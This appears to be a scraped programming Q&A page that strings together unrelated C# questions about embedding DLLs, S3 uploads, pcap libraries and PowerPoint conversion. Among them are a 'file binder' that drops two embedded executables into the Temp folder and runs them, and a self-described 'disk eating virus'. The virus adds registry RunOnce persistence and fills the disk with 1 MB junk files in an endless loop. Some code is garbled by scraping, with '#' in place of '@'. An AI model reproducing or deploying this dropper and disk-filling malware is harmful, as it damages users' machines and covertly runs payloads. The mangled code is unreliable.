How to embed unmanaged dll into console app - c#

Hi guys, I read lot articles about this question but nothing that I tried worked.
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Reflection;
using xNet.Net;
using xNet.Collections;
namespace ConsoleApplication1
{
class Program
{
[DllImport("user32.dll")]
internal static extern bool OpenClipboard(IntPtr hWndNewOwner);
[DllImport("user32.dll")]
internal static extern bool CloseClipboard();
[DllImport("user32.dll")]
internal static extern bool SetClipboardData(uint uFormat, IntPtr data);
[STAThread]
static void Main(string[] args)
{
go();
}
public static void go()
{
CookieDictionary cookies = new CookieDictionary();
Console.WriteLine(#"[~] Trying to upload text to http://pastebin.ru/");
try
{
using (var request = new HttpRequest())
{
request.UserAgent = HttpHelper.ChromeUserAgent();
request.EnableEncodingContent = true;
request.Cookies = cookies;
request.AllowAutoRedirect = false;
var postData = new RequestParams();
postData["parent_pid"] = "";
postData["std-x"] = "1440";
postData["std-y"] = "900";
postData["poster"] = "";
postData["code_name"] = "";
postData["code"] = #"text";
postData["mode"] = "178";
postData["private"] = "1";
postData["expired"] = "1";
postData["paste"] = "Отправить";
var response = request.Post("http://pastebin.ru/", postData);
var url = response.Location;
if (string.IsNullOrEmpty(url))
{
Console.WriteLine(#"[!] Failed to upload text to http://pastebin.ru/\r\n");
Console.ReadKey();
}
else
{
url = #"http://pastebin.ru" + url;
Console.WriteLine(#"[+] Successfully uploaded to " + url);
OpenClipboard(IntPtr.Zero);
var ptr = Marshal.StringToHGlobalUni(url);
SetClipboardData(13, ptr);
CloseClipboard();
Marshal.FreeHGlobal(ptr);
}
}
}
catch (NetException ex)
{
Console.WriteLine("Net error: " + ex.Message.ToString());
}
}
}
}
I tried to add reference to dll, add it to project, changed Build Action to embedded resource, but nothing worked. Any help?

Let's call the assembly of your project MyAssembly.
Create a new folder at the root of your project in Visual Studio. Let's call it MyDlls.
Put your assembly you want to include in this folder and set their Build Action to Embedded Resource.
Then, in your code, add the following elements:
class Program
{
// ... Your code
[STAThread]
static void Main(string[] args)
{
AppDomain.CurrentDomain.AssemblyResolve += AssemblyResolve; // Called when the assembly hasn't been successfully resolved
// ... Your code
}
private Assembly AssemblyResolve(object sender, ResolveEventArgs args)
{
Assembly assembly = Assembly.GetExecutingAssembly();
string assemblyName = args.Name.Split(',')[0]; // Gets the assembly name to resolve.
using (Stream stream = assembly.GetManifestResourceStream("MyAssembly.MyDlls." + assemblyName + ".dll")) // Gets the assembly in the embedded resources
{
if (stream == null)
return null;
byte[] rawAssembly = new byte[stream.Length];
stream.Read(rawAssembly, 0, (int)stream.Length);
return Assembly.Load(rawAssembly);
}
}
}

Related

How to upload a file to S3 using SSIS?

This was my question a few hours ago and just trying to save someone all the effort i had to go through to figure this out.
Basic code on how to upload file to S3 using script task in SSIS. Be sure to add Amazon.S3.dll and Amazon.Core.dll to your references.
using Amazon.S3;
using Amazon.S3.Transfer;
using Amazon.S3.Model;
using System.IO;
namespace tests
{
class Program
{
static ScriptMain()
{
AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(CurrentDomain_AssemblyResolve);
}
static System.Reflection.Assembly CurrentDomain_AssemblyResolve(object sender, ResolveEventArgs args)
{
string path = #"Path to DLLs";
if (args.Name.Contains("AWSSDK.Core"))
{
return System.Reflection.Assembly.LoadFile(System.IO.Path.Combine(path, "AWSSDK.Core.dll"));
}
if (args.Name.Contains("AWSSDK.S3"))
{
return System.Reflection.Assembly.LoadFile(System.IO.Path.Combine(path, "AWSSDK.S3.dll"));
}
return null;
}
public void Main()
{
string filePath = #"Path to file to be uploaded";
string bucket = "bllcrdtanalytics/Optimization/test"; //bucket name example
IAmazonS3 s3Client = new AmazonS3Client(Amazon.RegionEndpoint.USWest2);
PutObjectRequest putRequest = new PutObjectRequest();
putRequest.FilePath = filePath;
putRequest.Key = Path.GetFileName(filePath);
putRequest.BucketName = bucket;
PutObjectResponse response = s3Client.PutObject(putRequest);
Dts.TaskResult = (int)ScriptResults.Success;
}
}
}

C# Can't access Properties.Resources

so, I am making a file binder.
saves1 and saves2 are the embedded resources and
I want to extract it in the temp folder.
Here's my code:
using System.IO;
using System.Diagnostics;
namespace _123
{
class Program
{
static void Main(string[] args)
{
string patdth = #"C:\Users\Alfred\AppData\Local\Temp";
byte[] lel1 = Properties.Resources.saves2;
byte[] lel = Properties.Resources.saves1;
File.WriteAllBytes(patdth + "\\hdhtehyr.exe", lel);
File.WriteAllBytes(patdth + "\\hdhdhdhgd.exe", lel1);
Process.Start(patdth + "\\hdhtehyr.exe");
Process.Start(patdth + "\\hdhdhdhgd.exe");
}
}
}
I get this error:
"Error CS0103 The name 'Properties' does not exist in the current
context ConsoleApplication3".
edit:
I am inserting the resources dynamically here, as you can see my code "/resources" + Path" is my way of adding the resources.
public void compile2(string file)
{
CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters compars = new CompilerParameters();
compars.ReferencedAssemblies.Add("System.dll");
compars.ReferencedAssemblies.Add("System.Reflection.dll");
compars.ReferencedAssemblies.Add("System.IO.dll");
compars.GenerateExecutable = true;
compars.GenerateInMemory = false;
compars.TreatWarningsAsErrors = false;
compars.OutputAssembly = "Binded.exe";
compars.CompilerOptions = "/resources:" + textBox10.Text;
compars.CompilerOptions = "/resources:" + textBox11.Text;
compars.CompilerOptions = "/t:winexe";
if (string.IsNullOrWhiteSpace(textBox12.Text))
{
}
else
{
compars.CompilerOptions = "/win32icon:" + textBox12.Text;
}
CompilerResults res = provider.CompileAssemblyFromSource(compars, file);
{
MessageBox.Show("Code compiled!", "Success");
}
}
Under 'ConsoleApplication3' Project, double click 'Properties' -> Select 'Resources' tab -> Click on "This project does not contain a default resources file. Click here to create one." message. Add the files ('saves1' and 'saves2') here.

embed pcap dll files into c# project created DLL

I am trying to create user defined function which uses class defined in pcapDotNet.Core.Dll file. My c# Code is as below:
using System;
using System.IO;
using System.Collections.Generic;
using PcapDotNet.Core;
using System.Linq;
using System.Runtime.InteropServices;
using RGiesecke.DllExport; //GANESH
using System.Runtime.InteropServices;//GANESH
using System.Reflection;
namespace ObtainingAdvancedInformationAboutInstalledDevices
{
class Program1
{
/*
static void Main(string[] args)
{
Program1 var1 = new Program1();
var1.checkDevice();
}*/
public Program1()
{
AppDomain.CurrentDomain.AssemblyResolve += ResolveAssembly;
}
static Assembly ResolveAssembly(object sender, ResolveEventArgs args)
{
String dllName = new AssemblyName(args.Name).Name + ".dll";
var assem = Assembly.GetExecutingAssembly();
String resourceName = assem.GetManifestResourceNames().FirstOrDefault(rn => rn.EndsWith(dllName));
if (resourceName == null) return null; // Not found, maybe another handler will find it
using (var stream = assem.GetManifestResourceStream(resourceName))
{
Byte[] assemblyData = new Byte[stream.Length];
stream.Read(assemblyData, 0, assemblyData.Length);
return Assembly.Load(assemblyData);
}
}
//**************************************USER DEFINED FUNCTIONS START*********************
[DllExport("checkFunction", CallingConvention = CallingConvention.Cdecl)]//GANESH
public static int checkFunction()
{
Program1 worker1 = new Program1();
worker1.checkDevice();
return 0;
}
void checkDevice()
{
// Retrieve the interfaces list
IList<LivePacketDevice> allDevices = LivePacketDevice.AllLocalMachine;
Console.WriteLine(" inside checkDevice\n");
// Scan the list printing every entry
for (int i = 0; i != allDevices.Count(); ++i)
DevicePrint(allDevices[i]);
}
// Print all the available information on the given interface
private static void DevicePrint(IPacketDevice device)
{
// Name
Console.WriteLine(device.Name);
// Description
if (device.Description != null)
Console.WriteLine("\tDescription: " + device.Description);
// Loopback Address
Console.WriteLine("\tLoopback: " +
(((device.Attributes & DeviceAttributes.Loopback) == DeviceAttributes.Loopback)
? "yes"
: "no"));
// IP addresses
foreach (DeviceAddress address in device.Addresses)
{
Console.WriteLine("\tAddress Family: " + address.Address.Family);
if (address.Address != null)
Console.WriteLine(("\tAddress: " + address.Address));
if (address.Netmask != null)
Console.WriteLine(("\tNetmask: " + address.Netmask));
if (address.Broadcast != null)
Console.WriteLine(("\tBroadcast Address: " + address.Broadcast));
if (address.Destination != null)
Console.WriteLine(("\tDestination Address: " + address.Destination));
}
Console.WriteLine();
}
}
}
My python code is as below:
class gooseDriver():
"""A class that creates windows form by importing IED.MainWindow()"""
def __init__(self, ipAddress, port):
self.hllDll = WinDLL (r"C:\WORK\IEC61850\gooseThread1\gooseThread1\bin\x64\Debug\gooseThread1.dll")
self.hllDll.checkFunction()
print("Goose Message Started\n")
def main():
IED = gooseDriver("192.168.0.20", 102)
print("GooseDriver is called\n")
if __name__ == '__main__':
main()
when I tried to call checkFunction from python giving error as "OSError: [WinError -532462766] Windows Error 0xe0434352". This is because function is using LivePacketsDevice class from pcap files. I have embedded pcapDotNet.Core.Dll file while generating DLL as reference. Can anybody suggest what is solution for this issue please.
After lot of trial, it started working when i placed pcapDotNet DLL files into folder where Python interpreter exists. Dont know what is reason? can anybody know on this please.

File Access Denied - System32 Location?

I have recently been attempting to make a disk eating virus to further my educational knowledge, and to further my skills in coding malicious things for whitehat hacking. Recently however the piece of code I have been working on is giving me MANY issues.
It runs perfectly when you launch the exe, but when its run from registry it gives the error. Access to path denied (C:\Windows\System32\parse.int)
I am confused as to why code is being run in the system32 location!?
__________________ CODE ________________________
using System;
using System.Runtime.InteropServices; // needed to hide console
using System.IO;
using Microsoft.Win32; // Registry
namespace diskeater
{
class Program
{
// stuff to let me hide it
[DllImport("kernel32.dll")]
static extern IntPtr GetConsoleWindow();
[DllImport("user32.dll")]
static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
const int SW_HIDE = 0;
static void Main(string[] args)
{
// Hide
//var handle = GetConsoleWindow();
// ShowWindow(handle, SW_HIDE);
//Hidden
const string userRoot = "HKEY_CURRENT_USER";
const string subkey = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\RunOnce";
const string keyName = userRoot + "\\" + subkey;
Registry.SetValue(keyName, "System32", "\"" + System.Windows.Forms.Application.ExecutablePath + "\"");
if (File.Exists("parse.int") == false) {
var temp = File.Create("parse.int");
temp.Close();
var temp2 = new StreamWriter("parse.int");
temp2.Write("0");
temp2.Close();
}
try {
string text, count;
int i;
try {
var intreader = new StreamReader("parse.int");
count = intreader.ReadToEnd();
intreader.Close();
text = new string('0', 1048576);
i = Convert.ToInt32(count);
while (true) {
try {
var sw = new StreamWriter("\\win32\\UpdateFile_" + i + ".dat");
sw.Write(text);
sw.Close();
var intcount = new StreamWriter("parse.int");
intcount.Write(i);
intcount.Close();
i++;
System.Threading.Thread.Sleep(250);
}
catch (DirectoryNotFoundException ex) {
Directory.CreateDirectory("\\win32");
Console.WriteLine(ex);//
}
}
} catch (FormatException ex) {
var intcount = new StreamWriter("parse.int");
intcount.Write("0");
intcount.Close();
Console.WriteLine(ex);//
}
} catch (FileNotFoundException ex) {
Console.WriteLine(ex);//
}
System.Threading.Thread.Sleep(1000000000); //
}
}
}

Using Office.Interop, certain Powerpoint filenames won't convert

I have a program that converts .ppt or pptx files to png's using C# and the Microsoft.Office.Interop stuff.
It works most of the time, but under certain circumstances, it seems to fail on specific filenames for some nondescript reason.
HRESULT E_FAIL at ... Presentations.Open
It'll fail on CT_Stress_Test - Copy (16).pptx and CT_Stress_Test - Copy (11).pptx It works for (2) thru (19), but fails on only these two. My question is why?
If I were to make copies of these copies, or rename them to something else, it'll convert just fine, so I think it might have something to do with the filename.
I have the same conversion program running on my server and my local machine. My local machine (Win 7) converts the problem files just file. It's only on the server (Win 2008) that I have problems with these two filenames.
EDIT: I've found another number that doesn't work: (38)
EDIT: I formatted the strings with Path functions, and that didn't help.
EDIT: I was able to fix it by trimming all the spaces from the file names. I still want to know why this happens, though.
Here's the program:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Threading;
using System.IO;
using Microsoft.Office.Core;
using PowerPoint = Microsoft.Office.Interop.PowerPoint;
using System.Diagnostics;
using System.Timers;
using System.Security.Permissions;
using System.Collections.Concurrent;
namespace converter
{
class Program
{
public static int threadLimit=0;
public static string inDir;
public static string outDir;
public static string procDir;
public static Thread[] converterThreads;
public static BlockingCollection<string> todo;
static void Main(string[] args)
{
todo = new BlockingCollection<string>();
inDir = args[0];
outDir = args[1]+"\\";
procDir = args[2]+"\\";
Int32.TryParse(args[3],out threadLimit);
converterThreads = new Thread[threadLimit];
FileSystemWatcher watcher = new FileSystemWatcher(inDir); //Watcher "thread"
watcher.Filter = "*.ppt*";
watcher.NotifyFilter = watcher.NotifyFilter | NotifyFilters.CreationTime;
watcher.IncludeSubdirectories = false;
watcher.Created += new FileSystemEventHandler(fileChanged);
watcher.EnableRaisingEvents = true;
//Create consumer threads
for(var i=0;i<threadLimit;i++)
{
Conversion con = new Conversion();
converterThreads[i] = new Thread(new ThreadStart(con.watchCollection));
converterThreads[i].Start();
}
//stay open
Console.ReadLine();
}
//Producer
private static void fileChanged(object sender, FileSystemEventArgs e)
{
if(!(e.FullPath.Contains("~$"))){ //Ignore temp files
Console.WriteLine("found =" + e.FullPath);
todo.Add(e.FullPath);
}
}
}
class Logger{
static void toLog(String msg)
{
//TODO: log file
}
}
//Consumer
class Conversion
{
String input;
String output;
String outDir;
String process;
String nameWith;
String nameWithout;
string dir;
static List<CorruptFile> cFiles = new List<CorruptFile>();
int retryLimit = 20;
public Conversion()
{
this.outDir = Program.outDir;
this.process = Program.procDir;
}
//Continually watches collection for files to take.
public void watchCollection()
{
while (true)
{
System.Threading.Thread.Sleep(1000);
try
{
dir = Program.todo.Take();
if (dir != null)
{
this.nameWithout = Path.GetFileNameWithoutExtension(dir);
this.nameWith = Path.GetFileName(dir);
this.output = Path.GetDirectoryName(dir) + Path.DirectorySeparatorChar + Path.GetFileNameWithoutExtension(dir);
Console.WriteLine("output = " + this.output);
this.input = Path.GetFullPath(dir);
Console.WriteLine("thread took " + this.nameWith);
convertPpt();
}
}
catch (InvalidOperationException) { }
}
}
public void convertPpt()
{
try
{
var app = new PowerPoint.Application();
var pres = app.Presentations;
var file = pres.Open(input, MsoTriState.msoFalse, MsoTriState.msoFalse, MsoTriState.msoFalse);
file.SaveAs(output, Microsoft.Office.Interop.PowerPoint.PpSaveAsFileType.ppSaveAsPNG, MsoTriState.msoTrue);
file.Close();
app.Quit();
Console.WriteLine("file converted " + input);
moveFile();
}
catch (Exception e)
{
Console.WriteLine("convertPpt failed " + e);
try
{
foreach (Process proc in Process.GetProcessesByName("POWERPNT"))
{
proc.Kill();
Console.WriteLine("process killed");
}
}
catch (Exception e3)
{
}
try
{
if (!(cFiles.Any(x => x.fileName == dir)))
{
cFiles.Add(new CorruptFile(dir));
Console.WriteLine("file added to watch list");
Program.todo.Add(dir);
}
else
{
var found = cFiles.Find(x => x.fileName == dir);
Console.WriteLine("in watch list = " + found.fileName);
if (found.numRetry >= retryLimit)
{
Console.WriteLine(nameWith+ " to be ignored");
try
{
cFiles.Remove(found);
Console.WriteLine("File ignored");
System.Threading.Thread.Sleep(300);
Console.WriteLine("Moving: " + input);
if (File.Exists("C:\\corrupt\\" + nameWith))
{
File.Replace(input, "C:\\corrupt\\" + nameWith, null);
Console.WriteLine("file moved to C:\\corrupt\\");
}
else
{
File.Move(input, "C:\\corrupt\\" + nameWith);
Console.WriteLine("file moved to C:\\corrupt\\");
}
}
catch(Exception e5)
{
Console.WriteLine("could not move file " + e5);
}
}
else
{
Console.WriteLine("retrying file on watch list");
found.numRetry++;
Program.todo.Add(dir);
}
}
}
catch { }
}
moveDir();
}
public void moveFile()
{
Console.WriteLine("moving" + input);
try
{
System.Threading.Thread.Sleep(500);
Console.WriteLine(string.Format("moving {0} to {1}", input, process + nameWith));
if (File.Exists(process + nameWith))
{
File.Replace(input, process + nameWith, null);
}
else
{
File.Move(input, process + nameWith);
}
}
catch (Exception e)
{
Console.WriteLine(string.Format("Unable to move the file {0} ", input) + e);
try
{
foreach (Process proc in Process.GetProcessesByName("POWERPNT"))
{
proc.Kill();
}
}
catch (Exception e3)
{
}
}
}
public void moveDir()
{
if(!Directory.Exists(output)){
return;
}
Console.WriteLine("moving dir " + output);
try
{
Console.WriteLine(string.Format("moving dir {0} to {1} ", output, outDir + nameWithout));
if (Directory.Exists(outDir + nameWithout))
{
Directory.Delete(outDir + nameWithout, true);
}
if (Directory.Exists(output))
{
Directory.Move(output, outDir + nameWithout);
}
}
catch (Exception e)
{
Console.WriteLine(string.Format("Unable to move the directory {0} ", output) + e);
try
{
foreach (Process proc in Process.GetProcessesByName("POWERPNT"))
{
proc.Kill();
}
}
catch (Exception e3)
{
}
}
}
}
class CorruptFile{
public string fileName;
public int numRetry;
public CorruptFile(string fn){
fileName = fn;
}
}
}
First up is a warning from Microsoft in this KB article here. Money quote is:
Microsoft does not currently recommend, and does not support,
Automation of Microsoft Office applications from any unattended,
non-interactive client application or component (including ASP,
ASP.NET, DCOM, and NT Services), because Office may exhibit unstable
behaviour and/or deadlock when Office is run in this environment.
Next question is why not use OpenXML for this? Here's a simple sample to get you started which counts the number of slides in a deck.
using System;
using System.Collections.Generic;
using System.IO;
using System.IO.Packaging;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Xml;
namespace OpenXmlDemo
{
class PptOpenXmlDemo
{
public int PptGetSlideCount(string fileName)
{
// Return the number of slides in a PowerPoint document.
const string documentRelationshipType = "http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument";
const string presentationmlNamespace = "http://schemas.openxmlformats.org/presentationml/2006/main";
int returnValue = 0;
using (Package pptPackage = Package.Open(fileName, FileMode.Open, FileAccess.Read))
{
// Get the main document part (presentation.xml).
foreach (System.IO.Packaging.PackageRelationship relationship in pptPackage.GetRelationshipsByType(documentRelationshipType))
{
// There should be only a single relationship that refers to the document.
Uri documentUri = PackUriHelper.ResolvePartUri(new Uri("/", UriKind.Relative), relationship.TargetUri);
PackagePart documentPart = pptPackage.GetPart(documentUri);
// Get the slide part from the package.
if (documentPart != null)
{
XmlDocument doc = new XmlDocument();
doc.Load(documentPart.GetStream());
// Manage namespaces to perform XPath queries.
XmlNamespaceManager nsManager = new XmlNamespaceManager(doc.NameTable);
nsManager.AddNamespace("p", presentationmlNamespace);
// Retrieve the list of slide references from the document.
XmlNodeList nodes = doc.SelectNodes("//p:sldId", nsManager);
if (nodes != null)
{
returnValue = nodes.Count;
}
}
// There is only one officeDocument part. Get out of the loop now.
break;
}
}
return returnValue;
}
}
}

Categories

Resources